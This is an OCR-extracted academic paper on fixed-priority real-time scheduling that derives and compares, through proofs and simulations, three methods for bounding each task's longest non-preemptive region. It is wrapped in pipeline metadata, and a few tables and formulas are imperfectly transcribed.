"google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 43253, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 43253, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 43253, null]], "pdf_page_numbers": [[0, 80, 1], [80, 2599, 2], [2599, 6520, 3], [6520, 10130, 4], [10130, 13618, 5], [13618, 17107, 6], [17107, 20909, 7], [20909, 24519, 8], [24519, 28062, 9], [28062, 30833, 10], [30833, 34570, 11], [34570, 37121, 12], [37121, 40772, 13], [40772, 43253, 14]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 43253, 0.225]]}
|
olmocr_science_pdfs
|
2024-12-10
|
2024-12-10
|
4c472729303de131d96e210834d86a0f235b6ff5
|
Bounding the Maximum Length of Non-Preemptive Regions Under Fixed Priority Scheduling *
Gang Yao, Giorgio Buttazzo and Marko Bertogna
Scuola Superiore Sant’Anna, Pisa, Italy
{g.yao, g.buttazzo, m.bertogna}@sssup.it
Abstract
The question whether preemptive systems are better than non-preemptive systems has been debated for a long time, but only partial answers have been provided in the real-time literature and still some issues remain open. In fact, each approach has advantages and disadvantages, and no one dominates the other when both predictability and efficiency have to be taken into account in the system design. In particular, limiting preemptions allows increasing program locality, making timing analysis more predictable with respect to the fully preemptive case.
In this paper, we integrate the features of both preemptive and non-preemptive scheduling by considering that each task can switch to non-preemptive mode, at any time, for a bounded interval. Three methods (with different complexity and performance) are presented to calculate the longest non-preemptive interval that can be executed by each task, under fixed priorities, without degrading the schedulability of the task set, with respect to the fully preemptive case. The methods are also compared by simulations to evaluate their effectiveness in reducing the number of preemptions.
1 Introduction
The primary goal of a real-time system is to guarantee the schedulability of the task set on the processing platform so that each task completes its execution within its deadline. Since the pioneering work of Liu and Layland [20], a lot of work has been done in the area of real-time scheduling to analyze and predict the schedulability of the task set under different scheduling policies and several task models. Although the Earliest Deadline First (EDF) algorithm is optimal on a uniprocessor in terms of schedulability [10], other fixed priority schedulers, such as Rate Monotonic (RM) or Deadline Monotonic (DM), are widely used in real-time embedded systems, because they are simpler to implement in current operating systems and are characterized by a lower run-time overhead. A comprehensive comparison of RM against EDF can be found in [9].
The question whether enabling or disabling preemption during task execution has been investigated by many authors under several points of view and it is not trivial to answer. In fact, there are several advantages and disadvantages to be considered when adopting a non-preemptive scheduler, which depend on the particular application requirements to be achieved. In particular, the following issues must be taken into account.
- In many practical situations, such as I/O scheduling or communication in a shared medium, either preemption is impossible or prohibitively expensive.
- Preemption destroys program locality and affects the cache behavior, making the execution times more difficult to characterize and predict [17, 21, 22, 23]. Usually, the preemption overhead is ignored in the scheduling analysis, leading to imprecise results.
- The mutual exclusion problem is trivial in non-preemptive mode, since it naturally guarantees the exclusive access to shared resources.
- In control applications, the input-output delay and jitter are minimized for all tasks when using a non-preemptive scheduling discipline, since the interval between start time and finishing time is always equal to the task computation time [8]. This simplifies the techniques for delay compensation in the control design.
- Non-preemptive execution allows using stack sharing techniques [1] to save memory space in small embedded systems with stringent memory constraints [12].
- A general disadvantage of the non-preemptive discipline is that it may reduce schedulability. In fact, a non-preemptive section of code introduces an additional blocking factor in higher priority tasks that can be taken into account with the same guarantee methods used for resource sharing protocols. In fixed priority systems, however, there are particular cases in which non-preemptive execution improves schedulability (an example is shown below).
In non-preemptive systems there is no least upper bound on the processor utilization below which the schedulability of any task set can be guaranteed. This can easily be shown by considering a set of two periodic tasks, $\tau_1$ and $\tau_2$, with priorities $P_1 > P_2$ and utilization $U_i = \epsilon$, arbitrarily small. If $C_2 > T_1$, $C_1 = cT_1$, and $T_2 = C_2/\epsilon$, the task set is unschedulable, although having an arbitrarily small utilization.
The general problem of finding a feasible schedule with a non-preemptive scheduling algorithm (including those that allow inserted idle time) is intractable (i.e., NP-hard in the strong sense) [16]. When restricting to work conserving algorithms that cannot insert idle times, EDF is still optimal under the non-preemptive case. For concrete fixed priority task systems, preemptive scheduling does not dominate non-preemptive scheduling. Table 1 illustrates a set of periodic tasks (with relative deadlines equal to periods) that can be scheduled under non-preemptive RM, but is unfeasible under preemptive RM.
<table>
<thead>
<tr>
<th>Task</th>
<th>Comp. time</th>
<th>Period</th>
<th>Arrival time</th>
</tr>
</thead>
<tbody>
<tr>
<td>Task1</td>
<td>2</td>
<td>4</td>
<td>0</td>
</tr>
<tr>
<td>Task2</td>
<td>3</td>
<td>6</td>
<td>0</td>
</tr>
</tbody>
</table>
Table 1. A concrete task set that can be scheduled under non-preemptive RM, but not under preemptive RM.
To take advantage of non-preemptive execution without losing the benefits of preemptions, in this paper we consider a limited preemption model, in which a preempted job is not required to surrender the processor immediately. Instead, it may switch to non-preemptive mode and continue to execute for a certain period without being preempted. The maximum length of the non-preemptive interval $Q_i$ is computed to preserve the schedulability of the original (fully preemptive) task set. At runtime, if the remaining execution time of the running job is less than or equal to the maximum length of the non-preemptive region, the job can complete execution without being preempted.
In particular, the addressed problem can be stated as follows:
Given a set of $n$ preemptive periodic tasks that is feasible under a fixed priority assignment, find the longest non-preemptive region of length $Q_i$ for each task $\tau_i$, so that $\tau_i$ can continue to execute for $Q_i$ units of time in non-preemptive mode, without violating the schedulability of the original system.
The algorithm for computing the length of such an interval is implemented off line, so the method does not introduce extra overhead at runtime.
1.1 Related work
Preemption related problems have received considerable attention in the real-time community. Jeffay, Stanat and Martel [16] showed that non-preemptive scheduling of concrete periodic tasks is NP-Hard in the strong sense, and presented a necessary and sufficient condition for the schedulability of non-preemptive periodic tasks under non-idling EDF. A comprehensive schedulability analysis of non-preemptive systems has been done by George, Riviere and Spuri [14], however, the authors assumed that each task is either completely non-preemptive or fully preemptive.
Fixed priority with deferred preemption has been proposed as a viable alternative by Burns [7]. According to this model, preemption can only occur at some given points in the task code (preemption points), so it is “deferred” when occurring before those points. In this way, each job can be split into several chunks, equal to the number of preemption points plus one. This model represents a flexible trade off between the two extreme cases, which can be controlled by the number of preemption points inserted in the code. The author analyzed this model using the response time approach but did not address the problem of computing the longest non-preemptive regions that keep the task set schedulable. Bril et al. [6] corrected the response time analysis showing some critical situations that may occur in the presence of non-preemptive regions. In particular, the authors illustrated that the largest response time does not necessarily occur in the first job, after the critical instant. Lehoczky [18] addressed the same problem in the fully preemptive fixed priority scheduling when relative deadlines are larger than their respective periods, and introduced the level-$i$ busy period to perform the analysis. The same situation may occur when tasks are scheduled with varying execution priority [15].
A different approach for limiting preemptions in fixed priority systems, based on the concept of preemption thresholds, was proposed by Wang and Saksena [25]. This method allows a task to disable preemption up to a specified priority, which is called preemption threshold. Each task is assigned a regular priority and a preemption threshold, and it is allowed to preempt only when its priority is higher than the threshold of the preempted task.
Dobrin and Fohler [11] proposed a method to reduce the number of preemptions under fixed priority scheduling. They adopt the idea of reassigning attributes to the task (e.g., swapping the priorities or forcing the jobs to be released simultaneously), and create artifact tasks for the instance to solve the inconsistency. However, this algorithm introduces significant computation complexity and requires a large amount of memory.
Baruah and Chakraborty [3] analyzed the schedulability of the non-preemptive recurring task model and showed that there exists polynomial time approximation algorithms for both preemptive and non-preemptive scheduling. Buttazzo
and Cervin [8] used the non-preemptive task model to reduce jitter. Ramprasad and Mueller [21, 22] considered the effects of preemptions on the worst-case execution time (due to the cache behavior) and evaluated how this affects task response times.
Baruah [2] analyzed the problem of deferred preemptions under dynamic priority scheduling, where tasks are scheduled by EDF. The demand bound function is used to determine the largest non-preemptive regions into which each task can be broken up.
In this paper, we also consider the problem of deferred preemptions with the objective of determining the largest non-preemptive regions within each task. The main difference between [2] and our work is that tasks are scheduled based on fixed priorities and extensive simulations are presented to evaluate the proposed methods.
The rest of the paper is organized as follows. Section 2 presents the system model and the terminology adopted throughout the paper. Section 3 introduces the analysis adopted to derive the results. Section 4 describes an exact method for computing the longest non-preemptive regions and also proposes two approximate approaches for simplifying the computation. Section 5 discusses some possible usages of the achieved results and illustrates a concrete example. Section 6 presents some simulation results aimed at comparing the proposed approaches. Finally, Section 7 states our conclusions and future work.
2 Terminology and assumptions
We consider a set $T = \{\tau_1, \tau_2, \ldots, \tau_n\}$ of $n$ periodic or sporadic tasks that have to be executed on a uniprocessor under fixed priority scheduling. A task $\tau_i$, $1 \leq i \leq n$, is defined by a worst-case execution requirement $C_i$, a relative deadline $D_i$ and a period (or minimum inter-arrival time) $T_i$ between two consecutive releases ($D_i \leq T_i$). Task can be scheduled by any fixed priority assignment and are indexed by a decreasing priority, meaning that $\tau_1$ is the highest priority task.
Tasks can be preempted, but contain a set of non-preemptive regions (NP regions) where preemption is disabled and deferred until the end of the region. We define two kinds of non-preemptive regions models:
- **Floating Non-Preemptive regions.** With this model, there is no information on the position of the NP region inside the task code. The only available information concerns the maximum length that NP regions may have inside each task. This model has been adopted for instance in [2] for EDF scheduling.
- **Fixed Non-Preemptive regions.** With this model, the exact location of each NP region is known, so that the schedulability analysis can potentially take advantage of it, as done in [6, 7].
It is worth noting that the first model is more constraining in terms of schedulability, meaning that a feasible task set with floating NP regions is also feasible when the NP regions are located in fixed positions. In this paper, all the results are derived assuming the floating model, which is more general, since it does not require to assume specific knowledge on the location of the NP regions.
The main objective of this work is to compute for each task the longest (floating) non-preemptive region that preserves the schedulability with respect to the fully preemptive case. The following notation is used throughout the paper:
- $q_i$ denotes the duration of the longest non-preemptive region of task $\tau_i$.
- $Q_i$ denotes the maximum value of $q_i$ that preserves the feasibility of the task set with respect to the fully preemptive case.
- $B_i$ denotes the blocking time of task $\tau_i$ due to the non-preemptive regions of lower priority tasks.
$U_{tot}$ denotes the total utilization of the task set, that is, the sum of all tasks utilizations:
$$U_{tot} = \sum_{i=1}^{n} C_i / T_i.$$
3 Schedulability analysis
To determine whether a given task $\tau_i$ is schedulable, we first need to identify its critical instant, that is the worst-case activation pattern that leads to the largest possible response time for $\tau_i$. For a set of fully preemptive sporadic tasks scheduled by a fixed priority algorithm, it has been proved [20] that the critical instant of task $\tau_i$ occurs when it is synchronously activated with all higher priority tasks, and all jobs are released as soon as possible (according to the minimum interarrival time). Given an interval of length $t$ starting in a critical instant, we define the request bound function $RBF(\tau_i, t)$ as the maximum cumulative execution request that could be generated by jobs of $\tau_i$ within the considered interval. In [19], it has been shown that
$$RBF(\tau_i, t) = \left[ \frac{t}{T_i} \right] C_i. \quad (1)$$
The cumulative execution request of a task $\tau_i$ and all higher priority tasks over an interval of length $t$ is therefore bounded by:
$$W_i(t) = \sum_{j=1}^{i} RBF(\tau_j, t). \quad (2)$$
The maximum response time in the fully preemptive case is given by the smallest time $t^*$ for which $W_i(t^*) = t^*$. A necessary and sufficient schedulability test is derived in [19] checking whether for every task $\tau_i$ there exists a value $t \leq D_i$ such that $W_i(t) \leq t$. The inequality does not need to be evaluated at every $t \in (0, D_i]$, but only at those values of $t$ at which $RBF$ has a discontinuity, i.e., $\{t \in [C_i, D_i] \mid t =$
\[ k \cdot T_j, \ k \in \mathbb{N} \text{ and } \forall T_j, \ j \leq i \]. Moreover, Bini and Buttazzo further reduced the number of points to be checked to the following set [4]:
\[ T_S(\tau_i) = P_{i-1}(D_i) \]
where \( P_i(t) \) is defined by the following recurrent expression:
\[
\begin{cases}
P_0(t) = \{t\} \\
P_i(t) = P_{i-1}\left(\left\lceil \frac{t}{T_i} \right\rceil T_i\right) \cup P_{i-1}(t).
\end{cases}
\]
The above set \( T_S(\tau_i) \) is referred to as the testing set for task \( \tau_i \). The size of \( T_S(\tau_i) \) is pseudo-polynomial in the parameters of the task set [4]. In the remainder of this paper, \( T_S(\tau_i) \) is used to compute the longest NP region for each task.
In the presence of non-preemptive regions, an additional blocking factor \( B_i \) must be considered for each task \( \tau_i \), equal to the longest NP region belonging to lower priority tasks. Therefore, the maximum blocking time that \( \tau_i \) may experience is:
\[ B_i = \max_{k > i} \{q_k\} \]
The schedulability analysis in the presence of blocking factors has been extended by Bini and Buttazzo in [4], where Theorem 4 can be restated as follows by considering floating NP regions:
**Theorem 1.** A task set \( T \) with floating NP regions is schedulable with a fixed priority algorithm if and only if \( \forall \tau_i \in T \) there exists \( t \in T_S(\tau_i) \) such that
\[ W_i(t) + B_i \leq t. \]
Notice that condition (5) is necessary and sufficient for guaranteeing the schedulability when considering floating NP regions, while it becomes only sufficient when the regions are fixed. The result of Theorem 1 can be used to determine the maximum amount of blocking a task \( \tau_i \) can tolerate without missing any of its deadlines. This amount will be called the blocking tolerance of task \( \tau_i \) and will be denoted with \( \beta_i \). Thus,
\[ \beta_i = \max_{t \in T_S(\tau_i)} \{t - W_i(t)\}. \]
Computing \( \beta_i \) with Equation (6) requires the evaluation of all points in the testing set \( T_S(\tau_i) \), and has therefore pseudo-polynomial complexity. Figure 1 illustrates a sample task set, showing how \( t - W_3(t) \) varies as a function of time. The maximum value of this function, that is the blocking tolerance \( \beta_3 \), is also shown. Notice that \( \beta_3 \) does not correspond to the last point in \( T_S(\tau_3) \) (i.e., the task deadline), but it is achieved at an intermediate point.

### 4 Longest Non-Preemptive regions
Starting with a fully preemptive task set \( T \), which is schedulable with a fixed priority algorithm, we show how to determine for each task \( \tau_i \) the largest possible NP region \( Q_i \) preserving system schedulability. Being task \( \tau_1 \) the highest priority task, it cannot be preempted, hence its longest NP region can be arbitrarily large\(^2\) without making the system unschedulable:
\[ Q_1 = \infty. \]
The next theorem shows how to derive \( Q_i \) for the other tasks.
**Theorem 2.** The maximum possible length of any NP region of task \( \tau_i, 2 \leq i \leq n \), which guarantees feasibility is given by
\[ Q_i = \min \{Q_{i-1}, \beta_{i-1}\}. \]
*Proof.* If \( q_k \) is the length of the longest NP region of task \( \tau_k \), the maximum blocking time that a task \( \tau_k \) can experience is given by
\[ B_k = \max_{i > k} \{q_i\}. \]
Hence, if \( \beta_k \) is the blocking tolerance of \( \tau_k \), we must have that:
\[ B_k \leq \beta_k \]
that is
\[ \max_{i > k} \{q_i\} \leq \beta_k \]
which can be written as
\[ \bigcap_{i > k} (q_i \leq \beta_k) \]
\(^2\)Note that the actual NP region length is limited by the task worst-case execution time, but \( Q_i \) is derived without considering such a constraint to obtain a more compact formula.
which is also equivalent to
\[ q_i \leq \min_{k<i} \{ \beta_k \} \]
Thus, the maximum value for \( q_i \) is
\[ Q_i = \min_{k<i} \{ \beta_k \}. \tag{9} \]
Now, we notice that
\[ \min_{k<i} \{ \beta_k \} = \min \{ \min_{k<i-1} \{ \beta_k \}, \beta_{i-1} \} \]
and since
\[ Q_{i-1} = \min_{k<i-1} \{ \beta_k \} \]
we have that
\[ Q_i = \min \{ Q_{i-1}, \beta_{i-1} \} \]
which proves Equation (8).
To prove that the \( Q_i \) values returned by Equation (8) are also tight for each \( 2 \leq i \leq n \), consider a situation in which \( \tau_i \) can execute non-preemptively for \((Q_i + \epsilon)\), where \( \epsilon \) is an arbitrarily small value. Let \( \tau_j \) be the task with the smallest blocking tolerance among all tasks with higher priority than \( \tau_i \). From Equation (9), it follows that \( Q_i = \beta_j \). Now, consider the particular arrival sequence in which all tasks \( \tau_1, \ldots, \tau_n \) are released synchronously at time \( t \), with all later jobs released as soon as possible, and \( \tau_i \) starts executing at time \( t - \frac{Q_i}{i} \) in non-preemptive mode for \((Q_i + \epsilon)\) time-units. In this case, \( \tau_j \) is blocked for \((Q_j + \epsilon) = (\beta_j + \frac{\epsilon}{i})\), which is larger than its blocking tolerance \( \beta_j \). Therefore, \( \tau_j \) will miss its deadline at time \( t + D_j \), proving the tightness of Equation (8).
There can be situations in which the computed \( Q_i \) is greater than the worst-case execution time \( C_i \). In these cases, task \( \tau_i \) can execute in non-preemptive mode for the whole execution time.
### 4.1 Simplified computation of blocking tolerances
As mentioned in Section 3, computing the blocking tolerances using Equation (6) has a pseudo-polynomial complexity. A simpler but suboptimal solution can be derived by skipping some points in the testing set, so deriving a lower blocking tolerance. Considering that function \( t - W_i(t) \) tends to increase with time (as illustrated in Figure 1), we can use the task deadline as a promising testing point for estimating the blocking tolerance:
\[ \beta_i^p = \max \{ 0, D_i - W_i(D_i) \}. \tag{10} \]
For task systems having deadlines equal to periods and scheduled with Rate Monotonic, another simplified method can be found using the utilization test proposed by Liu and Layland in [20]. According to this test, a task \( \tau_i \) is guaranteed to meet its deadlines if:
\[ \sum_{k=1}^{i} \frac{C_k}{T_k} + \frac{B_i}{T_i} \leq U_{tub}(i) \]
where
\[ U_{tub}(i) = i(2^{1/i} - 1). \]
Hence, \( \tau_i \) feasibility is guaranteed under RM if
\[ B_i \leq T_i \left[ U_{tub}(i) - \sum_{k=1}^{i} U_k \right]. \]
Thus, using the Liu and Layland feasibility test, the task set is still guaranteed to be schedulable if each task \( \tau_i \) can tolerate the following blocking time:
\[ \beta_i^{LL} = \max \left\{ 0, T_i \left[ U_{tub}(i) - \sum_{k=1}^{i} U_k \right] \right\}. \tag{11} \]
In Section 6, the pessimism introduced by using such simplified tolerances will be experimentally evaluated with respect to the exact \( \beta_i \) values.
### 5 Considerations and illustrative example
Once the maximum length \( Q_i \) of the NP region has been computed off line for each task, such a result can be used in several ways. Possible options are presented below.
- **Exploit NP regions for simplifying the access to shared resources (by encapsulating critical sections into NP regions), so avoiding the implementation of complex concurrency control protocols, like PCP [24] or SRP [1];**
- **Partition each task into a set of non-preemptive chunks of length no larger than \( Q_i \), by inserting a number of preemption points in the source code in opportune positions, with the objective of reducing the number of preemptions and making the estimation of worst-case execution time more predictable with respect to the fully preemptive case [13];**
- **Execute a task normally, and switch to non-preemptive mode as soon as a higher priority task arrives. In this way, the preemption can be delayed as much as possible (that is, by \( Q_i \) time-units), further reducing the average number of context switches.**
- **Place a NP region at the end of the task code. In this way, the response time of the task is reduced, since the effect of higher priority jobs arriving at the end of the task execution is postponed until the task completes its execution.**
The selection of the strategy to adopt depends on the particular context and is left as a design choice. However, it is worth noting that, when a NP region is located in the last portion of the task code, the analysis can be refined, as done in [6, 7]. In fact, the task response time can potentially be reduced because the higher priority jobs that arrive when \( \tau_i \) is executing non-preemptively the last chunk of code do not cause interference, allowing for a larger blocking tolerance.
Nevertheless, the analysis turns out to be rather complicated, as shown in [6]. In fact, the worst-case response time of a task \( \tau_i \) is not necessarily given by the first job of \( \tau_i \) when it is released synchronously with all other higher priority tasks, because the last NP region of the first job of \( \tau_i \) might delay the execution of other tasks in a way that causes a larger interference on later jobs of \( \tau_i \). We call this phenomenon "Bril’s effect", from the name of the author who first identified it. Due to this effect, the computation of a tight blocking tolerance for each task is not so straightforward.
### 5.1 Example
We now present a simple concrete example on a set of four periodic tasks. Relative deadlines are assumed to be equal to periods to compare the effectiveness of all the three proposed methods. Task set parameters, as well as the results obtained from each method, are reported in Table 2. Notice that all three methods use the result of Theorem 2 to compute the longest NP region \( Q_i \) of each task, and the only difference is in the way the blocking tolerance is computed. In the following, the Exact method refers to the one using Equation (6), Approx\_D refers to the one using Equation (10), and Approx\_LL refers to the one using Equation (11).
<table>
<thead>
<tr>
<th>Task set</th>
<th>Exact</th>
<th>Approx_D</th>
<th>Approx_LL</th>
</tr>
</thead>
<tbody>
<tr>
<td>( C )</td>
<td>( T )</td>
<td>( Q )</td>
<td>( Q' )</td>
</tr>
<tr>
<td>( \tau_1 )</td>
<td>29</td>
<td>85</td>
<td>56</td>
</tr>
<tr>
<td>( \tau_2 )</td>
<td>14</td>
<td>92</td>
<td>42</td>
</tr>
<tr>
<td>( \tau_3 )</td>
<td>29</td>
<td>127</td>
<td>13</td>
</tr>
<tr>
<td>( \tau_4 )</td>
<td>30</td>
<td>925</td>
<td>-</td>
</tr>
</tbody>
</table>
**Table 2. Task set parameters and results.**
For the highest priority task \( \tau_1 \), all three methods produce the same values for \( Q \) and \( \beta \), hence the \( Q \) value for \( \tau_2 \) is also the same. However, the blocking tolerance \( \beta_2 \) is different under the three methods. In particular, notice that the Exact method produces the largest blocking tolerance for \( \tau_2 \) (as expected), whereas the Approx\_LL method outperforms Approx\_D. For task \( \tau_3 \), the situation is different, since Approx\_D outperforms Approx\_LL. For task \( \tau_4 \), the \( \beta \) is left empty since \( \tau_4 \) is the lowest priority task and cannot be blocked by the other tasks in the system.
This simple example shows that the Exact method outperforms the other two at the cost of a pseudo-polynomial complexity. Both simplified approaches have \( O(n) \) complexity, but no one dominates the other for all the tasks. In the next section, the three methods are better evaluated under different conditions through extensive simulations.
### 6 Simulations results
In this section, we present some simulation experiments we performed on synthetic task sets to compare the effectiveness of the proposed approaches in reducing the number of preemptions and the length of NP regions. NP regions are assumed to be floating inside the task code, and each task switches to non-preemptive mode for \( Q_i \) units of time once a higher priority task arrives.
We considered feasible task sets consisting of \( n \) periodic tasks with given total utilization \( U_{\text{tot}} \). Tasks were synchronously activated at time \( t = 0 \) and the total simulation time was set to 5 million units of time. For each point in the graph, the result was computed by taking the average over 1000 runs. In particular, the following steps were used to generate a task set:
1. The UUniFast algorithm presented by Bini and Buttazzo [5] was used to generate a set of \( n \) tasks with total utilization equal to \( U_{\text{tot}} \) and individual utilizations \( U_i \) uniformly distributed in \([0, 1]\).
2. Each computation time \( C_i \) was generated as a random integer uniformly distributed in a given interval \([C_{\min}, C_{\max}]\), and then \( T_i \) was computed as \( T_i = C_i / U_i \). The reason for generating \( T_i \) from \( C_i \) is that round-up errors have less influence, since \( T_i \) is bigger than \( C_i \), and to avoid generating tasks with \( C_i = 1 \), which by nature cannot be preempted.
3. The relative deadline \( D_i \) was generated as a random integer in the range \([C_i + 0.8 \cdot (T_i - C_i), T_i]\), or it was set to \( T_i \) when testing the Approx\_LL method.
4. Each generated task set was verified to be feasible, and unfeasible sets were discarded.
#### 6.1 Experiment 1
In the first experiment, we compared the Exact method and Approx\_D against the fully preemptive case by monitoring the average number of preemptions in all runs (each lasting 5 million units of time), as a function of the total utilization and for different number of tasks. In particular, the total utilization was varied from 0.1 to 0.9 with step 0.1, and the number of tasks was set to 4, 8, 12, and 16, respectively.
In this case, each relative deadline \( D_i \) was generated as a random integer in the range \([C_i + 0.8 \cdot (T_i - C_i), T_i]\). The results are shown in Figure 2.
As clear from the graphs, both algorithms are able to reduce the average number of preemptions significantly, with respect to the fully preemptive case, and the advantage of the Exact method over Approx\_D can only be appreciated for total utilizations higher than 0.7. Thus, for workloads smaller than 0.7, it is not worth paying a higher complexity for reducing the number of preemptions. Vice versa,
for high workloads ($U_{tot} > 0.8$) the higher complexity of the Exact method can be justified, since preemptions can still be reduced up to 50% with respect to Approx$_D$.
The reason for having a better performance at low utilizations is that tasks have more slack, thus many of them can execute completely non-preemptively ($Q_i \geq C_i$). Moreover, the performance of both algorithms improves as the number of tasks increases. This can be explained in a similar way, since tasks with low $U_i$ have more slack, resulting in larger NP regions.
The average number of preemptions experienced by each individual task under the different methods was also monitored and it is reported in Figure 3 for $U_{tot} = 0.9$ (in fact, the Exact method and Approx$_D$ have very close performance at relatively low utilizations).
Notice that high priority tasks can achieve a larger improvement compared with lower priority tasks, as they can reduce the number of preemptions to a larger degree. This can be explained by noting that the $\{Q\}$ sequence is non-increasing, as can be easily seen from Equation (8). Finally, both methods have similar performance for high priority tasks, whereas the Exact method can still reduce the number of preemptions up to 50% with respect to Approx$_D$, especially for low priority tasks.
### 6.2 Experiment 2
In a second experiment, task sets were generated with relative deadlines equal to periods in order to compare the performance of all the three approaches (that is, also including Approx$_LL$). In this case, $n$ was set to 10 and the total utilization $U_{tot}$ was varied from 0.1 to 0.9 (notice that all task sets were verified to be feasible, even for utilizations exceeding the Liu and Layland bound). Simulations with different number of tasks were also performed, but the results are not shown here, because they exhibited a similar performance.
To better illustrate the differences between each curve,
Figure 4 reports the ratios of the average number of preemptions with respect to the fully preemptive case. As can be seen, the Exact method achieves the best performance, and Approx\_D outperforms Approx\_LL, but the differences can only be appreciated for high total utilizations ($U_{\text{tot}} > 0.7$).
Figure 5 reports the preemption ratios for each task, when $U_{\text{tot}} = 0.7$. Notice that, since $\tau_1$ is never preempted (even in the fully preemptive case), the ratio is not defined for $i = 1$, so the curve starts from $i = 2$. Experiments with lower utilizations were also performed, but they are not reported here, since all the three methods exhibited a similar behavior for every task. This can be explained by observing that the Liu and Layland utilization bound for 10 tasks is only slightly higher than 0.7, thus not so much slack can be exploited by Approx\_LL for the NP regions.
6.3 Experiment 3
In a third experiment, we monitored the length of the NP regions computed by each method under different conditions. The results are illustrated in Figure 6, which plots the average ratio $Q_i/C_i$ for each task and for different workloads. Since $Q_1$ is set to infinity (see Equation (7)), the curves start from $i = 2$. It is interesting to observe that, for $U_{\text{tot}} \leq 0.7$ the average ratio $Q_i/C_i$ produced by all the three methods was greater than one, meaning that, in the average, most tasks executed entirely non preemptively. For $U_{\text{tot}} = 0.9$, we can see that most of the higher priority tasks executed non preemptively ($Q_i/C_i \geq 1$), whereas lower priority tasks were preempted to preserve schedulability. However, note that the $Q_i/C_i$ ratio resulting from the Exact method is always greater than 0.5, even for the lowest priority task, meaning that schedulability can be preserved with a single preemption point (in the average).
6.4 Experiment 4
As a final test, we monitored the average number of preemptions for each task instance and for different workloads. Results are reported in Figure 7. As expected, the number of preemptions experienced by a job gradually increases by reducing its priority, and the difference among the three methods is not significant for $U_{\text{tot}} \leq 0.7$.
It’s worth noting that, when the task set utilization exceeds the Liu and Layland bound, Approx\_LL starts deteriorating for lower priority tasks, especially for $\tau_9$ and $\tau_{10}$, whose behavior tends to be similar to the one of the fully preemptive case.
For higher utilizations ($U_{\text{tot}} = 0.9$), we note that both the Exact method and Approx\_D have similar perfor-
performance for high priority tasks, whereas, for lower priority tasks, the Exact method can still achieve more than 50 percent improvement compared to Approx_D.
7 Conclusions
In this paper, we considered the problem of limiting the preemptions under fixed priority scheduling, and proposed three methods for computing the longest non-preemptive region within each task that preserves the schedulability of the task set (with respect to the fully preemptive case). The first method, based on exact feasibility analysis, has a pseudo-polynomial complexity and is able to find the maximum possible NP region for each task that preserves schedulability. The other two methods are less precise, since they use two different sufficient feasibility tests to decrease the complexity of the computation. Notice, however, that for static task sets with fixed number of tasks, the longest NP regions can be computed off line, so the higher complexity of the exact method is not payed during runtime.
The contribution of this paper is two-fold. First, we assumed a limited preemption model that integrates the benefit of both non-preemptive and fully-preemptive scheduling to increase predictability without losing schedulability. Second, we proposed three different methods for computing the longest NP region of each task and performed a set of experiments to evaluate the proposed approaches. Simulation results showed that the number of preemptions can be significantly reduced without losing the task set schedulability.
As a future work, we plan to apply the limited preemption model to aperiodic servers and exploit the longest non-preemptive region for providing a better estimate of preemption costs due to cache misses.
References
|
{"Source-Url": "http://retis.sssup.it/~giorgio/paps/2009/rtcsa09-yao.pdf", "len_cl100k_base": 8709, "olmocr-version": "0.1.53", "pdf-total-pages": 10, "total-fallback-pages": 0, "total-input-tokens": 38948, "total-output-tokens": 10971, "length": "2e13", "weborganizer": {"__label__adult": 0.0003886222839355469, "__label__art_design": 0.00048828125, "__label__crime_law": 0.000461578369140625, "__label__education_jobs": 0.0009307861328125, "__label__entertainment": 0.00010210275650024414, "__label__fashion_beauty": 0.0002193450927734375, "__label__finance_business": 0.00051116943359375, "__label__food_dining": 0.0004253387451171875, "__label__games": 0.000903606414794922, "__label__hardware": 0.00385284423828125, "__label__health": 0.0008859634399414062, "__label__history": 0.00045418739318847656, "__label__home_hobbies": 0.00015854835510253906, "__label__industrial": 0.0009617805480957032, "__label__literature": 0.00027561187744140625, "__label__politics": 0.0003883838653564453, "__label__religion": 0.0006365776062011719, "__label__science_tech": 0.2459716796875, "__label__social_life": 8.565187454223633e-05, "__label__software": 0.01157379150390625, "__label__software_dev": 0.728515625, "__label__sports_fitness": 0.0003483295440673828, "__label__transportation": 0.001132965087890625, "__label__travel": 0.0002760887145996094}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 40382, 0.03036]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 40382, 0.60189]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 40382, 0.9124]], "google_gemma-3-12b-it_contains_pii": [[0, 4149, false], [4149, 9730, null], [9730, 15105, null], [15105, 19009, null], [19009, 23457, null], [23457, 29500, null], [29500, 31451, null], [31451, 34106, null], [34106, 35829, null], [35829, 40382, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4149, true], [4149, 9730, null], [9730, 15105, null], [15105, 19009, null], [19009, 23457, null], [23457, 29500, null], [29500, 31451, null], [31451, 34106, null], [34106, 35829, null], [35829, 40382, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 40382, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 40382, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 40382, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 40382, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 40382, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 40382, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 40382, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 40382, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 40382, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 40382, null]], "pdf_page_numbers": [[0, 4149, 1], [4149, 9730, 2], [9730, 15105, 3], [15105, 19009, 4], [19009, 23457, 5], [23457, 29500, 6], [29500, 31451, 7], [31451, 34106, 8], [34106, 35829, 9], [35829, 40382, 10]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 40382, 0.05759]]}
|
olmocr_science_pdfs
|
